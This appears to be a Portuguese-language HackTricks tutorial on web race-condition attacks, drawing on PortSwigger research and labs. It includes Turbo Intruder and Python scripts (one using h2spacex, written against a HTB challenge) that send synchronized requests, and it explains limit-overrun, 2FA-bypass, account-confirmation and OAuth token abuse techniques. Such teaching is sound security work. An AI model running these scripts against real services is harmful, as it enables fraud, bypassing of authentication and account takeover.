# Condição de Corrida
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{% endhint %} {% hint style="warning" %} Para obter uma compreensão profunda desta técnica, consulte o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) {% endhint %} ## Aprimorando Ataques de Condição de Corrida O principal obstáculo para aproveitar as condições de corrida é garantir que múltiplas solicitações sejam tratadas ao mesmo tempo, com **muita pouca diferença em seus tempos de processamento—idealmente, menos de 1ms**. Aqui você pode encontrar algumas técnicas para Sincronizar Solicitações: #### Ataque de Pacote Único HTTP/2 vs. Sincronização do Último Byte HTTP/1.1 * **HTTP/2**: Suporta o envio de duas solicitações sobre uma única conexão TCP, reduzindo o impacto da variação de rede. No entanto, devido a variações do lado do servidor, duas solicitações podem não ser suficientes para um exploit consistente de condição de corrida. * **Sincronização do 'Último Byte' HTTP/1.1**: Permite o pré-envio da maior parte de 20-30 solicitações, retendo um pequeno fragmento, que é então enviado junto, alcançando a chegada simultânea ao servidor. **Preparação para Sincronização do Último Byte** envolve: 1. Enviar cabeçalhos e dados do corpo menos o byte final sem encerrar o fluxo. 2. Pausar por 100ms após o envio inicial. 3. Desativar TCP\_NODELAY para utilizar o algoritmo de Nagle para agrupar os quadros finais. 4. Pingar para aquecer a conexão. O envio subsequente dos quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que não estão tipicamente envolvidos em ataques de RC. ### Adaptando-se à Arquitetura do Servidor Compreender a arquitetura do alvo é crucial. Servidores front-end podem encaminhar solicitações de maneira diferente, afetando o tempo. O aquecimento proativo da conexão do lado do servidor, através de solicitações irrelevantes, pode normalizar o tempo das solicitações. #### Lidando com Bloqueio Baseado em Sessão Frameworks como o manipulador de sessão do PHP serializam solicitações por sessão, potencialmente obscurecendo vulnerabilidades. Utilizar diferentes tokens de sessão para cada solicitação pode contornar esse problema. #### Superando Limites de Taxa ou Recursos Se o aquecimento da conexão for ineficaz, acionar intencionalmente os atrasos de limite de taxa ou recursos dos servidores web através de um fluxo de solicitações fictícias pode facilitar o ataque de pacote único, induzindo um atraso do lado do servidor favorável a condições de corrida. ## Exemplos de Ataque * **Tubo Intruder - ataque de pacote único HTTP2 (1 endpoint)**: Você pode enviar a solicitação para **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), você pode alterar na solicitação o valor que deseja forçar para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`examples/race-single-packer-attack.py`** no menu suspenso:
Se você for **enviar valores diferentes**, você pode modificar o código com este que usa uma lista de palavras da área de transferência: ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` {% hint style="warning" %} Se a web não suportar HTTP2 (apenas HTTP1.1), use `Engine.THREADED` ou `Engine.BURP` em vez de `Engine.BURP2`. {% endhint %} * **Tubo Intruder - ataque de pacote único HTTP2 (Vários endpoints)**: Caso você precise enviar uma solicitação para 1 endpoint e depois várias para outros endpoints para acionar o RCE, você pode alterar o script `race-single-packet-attack.py` com algo como: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # Hardcode the second request for the RC confirmationReq = '''POST /confirm?token[]= HTTP/2 Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU Content-Length: 0 ''' # For each attempt (20 in total) send 50 confirmation requests. for attempt in range(20): currentAttempt = str(attempt) username = 'aUser' + currentAttempt # queue a single registration request engine.queue(target.req, username, gate=currentAttempt) # queue 50 confirmation requests - note that this will probably sent in two separate packets for i in range(50): engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` * Também está disponível no **Repeater** através da nova opção '**Enviar grupo em paralelo**' no Burp Suite. * Para **limit-overrun**, você pode apenas adicionar a **mesma solicitação 50 vezes** no grupo. * Para **connection warming**, você pode **adicionar** no **início** do **grupo** algumas **solicitações** a uma parte não estática do servidor web. * Para **delaying** o processo **entre** o processamento **de uma solicitação e outra** em 2 etapas, você pode **adicionar solicitações extras entre** ambas as solicitações. * Para um **multi-endpoint** RC, você pode começar enviando a **solicitação** que **vai para o estado oculto** e então **50 solicitações** logo após que **exploram o estado oculto**.
* **Script python automatizado**: O objetivo deste script é mudar o email de um usuário enquanto verifica continuamente até que o token de verificação do novo email chegue ao último email (isso porque no código estava vendo um RC onde era possível modificar um email, mas ter a verificação enviada para o antigo porque a variável indicando o email já estava populada com o primeiro).\ Quando a palavra "objetivo" é encontrada nos emails recebidos, sabemos que recebemos o token de verificação do email alterado e encerramos o ataque. ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge from h2spacex import H2OnTlsConnection from time import sleep from h2spacex import h2_frames import requests cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg" # change these headers headersObjetivo= """accept: */* content-type: application/x-www-form-urlencoded Cookie: """+cookie+""" Content-Length: 112 """ bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827' headersVerification= """Content-Length: 1 Cookie: """+cookie+""" """ CSRF="42a08872-610a-4965-9553-22d7b3aa1827" host = "94.237.56.46" puerto =39697 url = "https://"+host+":"+str(puerto)+"/email/" response = requests.get(url, verify=False) while "objetivo" not in response.text: urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/" responseDeleteMails = requests.get(urlDeleteMails, verify=False) #print(response.text) # change this host name to new generated one Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" } data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile" responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False) print(responseReset.status_code) h2_conn = H2OnTlsConnection( hostname=host, port_number=puerto ) h2_conn.setup_connection() try_num = 100 stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num) all_headers_frames = [] # all headers frame + data frames which have not the last byte all_data_frames = [] # all data frames which contain the last byte for i in range(0, try_num): last_data_frame_with_last_byte='' if i == try_num/2: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501 method='POST', headers_string=headersObjetivo, scheme='https', stream_id=stream_ids_list[i], authority=host, body=bodyObjetivo, path='/challenge/api/profile' ) else: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( method='GET', headers_string=headersVerification, scheme='https', stream_id=stream_ids_list[i], authority=host, body=".", path='/challenge/api/sendVerification' ) all_headers_frames.append(header_frames_without_last_byte) all_data_frames.append(last_data_frame_with_last_byte) # concatenate all headers bytes temp_headers_bytes = b'' for h in all_headers_frames: temp_headers_bytes += bytes(h) # concatenate all data frames which have last byte temp_data_bytes = b'' for d in all_data_frames: temp_data_bytes += bytes(d) h2_conn.send_bytes(temp_headers_bytes) # wait some time sleep(0.1) # send ping frame to warm up connection h2_conn.send_ping_frame() # send remaining data frames h2_conn.send_bytes(temp_data_bytes) resp = h2_conn.read_response_from_socket(_timeout=3) frame_parser = h2_frames.FrameParser(h2_connection=h2_conn) frame_parser.add_frames(resp) frame_parser.show_response_of_sent_requests() print('---') sleep(3) h2_conn.close_connection() response = requests.get(url, verify=False) ``` ### Raw BF Antes da pesquisa anterior, esses eram alguns payloads usados que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC. * **Repeater:** Confira os exemplos da seção anterior. * **Intruder**: Envie a **request** para **Intruder**, defina o **número de threads** como **30** dentro do **menu de Opções** e selecione como payload **Null payloads** e gere **30.** * **Turbo Intruder** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, pipeline=False ) a = ['Session=','Session=','Session='] for i in range(len(a)): engine.queue(target.req,a[i], gate='race1') # open TCP connections and send partial requests engine.start(timeout=10) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` * **Python - asyncio** ```python import asyncio import httpx async def use_code(client): resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main()) ``` ## **Metodologia RC** ### Limite-excesso / TOCTOU Este é o tipo mais básico de condição de corrida onde **vulnerabilidades** que **aparecem** em lugares que **limitam o número de vezes que você pode realizar uma ação**. Como usar o mesmo código de desconto em uma loja online várias vezes. Um exemplo muito fácil pode ser encontrado em [**este relatório**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou em [**este bug**](https://hackerone.com/reports/759247)**.** Existem muitas variações desse tipo de ataque, incluindo: * Resgatar um cartão-presente várias vezes * Avaliar um produto várias vezes * Sacar ou transferir dinheiro além do saldo da sua conta * Reutilizar uma única solução de CAPTCHA * Contornar um limite de taxa anti-força bruta ### **Subestados ocultos** Explorar condições de corrida complexas geralmente envolve aproveitar breves oportunidades para interagir com subestados de máquina ocultos ou **não intencionais**. Aqui está como abordar isso: 1. **Identificar Subestados Ocultos Potenciais** * Comece identificando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de redefinição de senha. Foque em: * **Armazenamento**: Prefira endpoints que manipulam dados persistentes do lado do servidor em vez daqueles que lidam com dados do lado do cliente. * **Ação**: Procure operações que alteram dados existentes, que são mais propensas a criar condições exploráveis em comparação com aquelas que adicionam novos dados. * **Chaveamento**: Ataques bem-sucedidos geralmente envolvem operações chaveadas no mesmo identificador, por exemplo, nome de usuário ou token de redefinição. 2. **Realizar Probing Inicial** * Teste os endpoints identificados com ataques de condição de corrida, observando quaisquer desvios dos resultados esperados. Respostas inesperadas ou mudanças no comportamento da aplicação podem sinalizar uma vulnerabilidade. 3. **Demonstrar a Vulnerabilidade** * Reduza o ataque ao número mínimo de solicitações necessárias para explorar a vulnerabilidade, muitas vezes apenas duas. Esta etapa pode exigir várias tentativas ou automação devido ao tempo preciso envolvido. ### Ataques Sensíveis ao Tempo A precisão no tempo das solicitações pode revelar vulnerabilidades, especialmente quando métodos previsíveis como timestamps são usados para tokens de segurança. Por exemplo, gerar tokens de redefinição de senha com base em timestamps pode permitir tokens idênticos para solicitações simultâneas. **Para Explorar:** * Use temporização precisa, como um ataque de pacote único, para fazer solicitações de redefinição de senha simultâneas. Tokens idênticos indicam uma vulnerabilidade. **Exemplo:** * Solicite dois tokens de redefinição de senha ao mesmo tempo e compare-os. Tokens correspondentes sugerem uma falha na geração de tokens. **Verifique isso** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **para tentar isso.** ## Estudos de caso de subestados ocultos ### Pagar e adicionar um Item Verifique este [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver como **pagar** em uma loja e **adicionar um item extra** que você **não precisará pagar**. ### Confirmar outros e-mails A ideia é **verificar um endereço de e-mail e mudá-lo para um diferente ao mesmo tempo** para descobrir se a plataforma verifica o novo que foi alterado. ### Mudar e-mail para 2 endereços de e-mail baseados em Cookie De acordo com [**esta pesquisa**](https://portswigger.net/research/smashing-the-state-machine), o Gitlab era vulnerável a uma tomada dessa forma porque poderia **enviar** o **token de verificação de e-mail de um e-mail para o outro e-mail**. **Verifique isso** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **para tentar isso.** ### Estados ocultos do banco de dados / Bypass de Confirmação Se **2 gravações diferentes** forem usadas para **adicionar** **informações** dentro de um **banco de dados**, há uma pequena porção de tempo onde **apenas os primeiros dados foram gravados** dentro do banco de dados. Por exemplo, ao criar um usuário, o **nome de usuário** e a **senha** podem ser **gravados** e **então o token** para confirmar a conta recém-criada é gravado. Isso significa que por um pequeno tempo o **token para confirmar uma conta é nulo**. Portanto, **registrar uma conta e enviar várias solicitações com um token vazio** (`token=` ou `token[]=` ou qualquer outra variação) para confirmar a conta imediatamente poderia permitir **confirmar uma conta** onde você não controla o e-mail. **Verifique isso** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **para tentar isso.** ### Bypass 2FA O seguinte pseudo-código é vulnerável a condição de corrida porque em um tempo muito pequeno a **2FA não é aplicada** enquanto a sessão é criada: ```python session['userid'] = user.userid if user.mfa_enabled: session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` ### OAuth2 persistência eterna Existem vários [**provedores de OAUth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Esses serviços permitem que você crie um aplicativo e autentique usuários que o provedor registrou. Para fazer isso, o **cliente** precisará **permitir que seu aplicativo** acesse alguns de seus dados dentro do **provedor de OAUth**.\ Até aqui, é apenas um login comum com google/linkedin/github... onde você é solicitado com uma página dizendo: "_Aplicativo \ deseja acessar suas informações, você quer permitir?_" #### Condição de Corrida em `authorization_code` O **problema** aparece quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Então, esse **aplicativo abusa de uma Condição de Corrida no provedor de serviço OAUth para gerar mais de um AT/RT** (_Token de Autenticação/Token de Atualização_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de que você aceitou o aplicativo para acessar seus dados para **criar várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**. #### Condição de Corrida em `Refresh Token` Uma vez que você tenha **obtido um RT válido**, você pode tentar **abusar dele para gerar vários AT/RT** e **mesmo que o usuário cancele as permissões** para o aplicativo malicioso acessar seus dados, **vários RTs ainda serão válidos.** ## **RC em WebSockets** No [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) você pode encontrar um PoC em Java para enviar mensagens websocket em **paralelo** para abusar de **Condições de Corrida também em Web Sockets**. ## Referências * [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) * [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) * [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) * [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) * [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions) {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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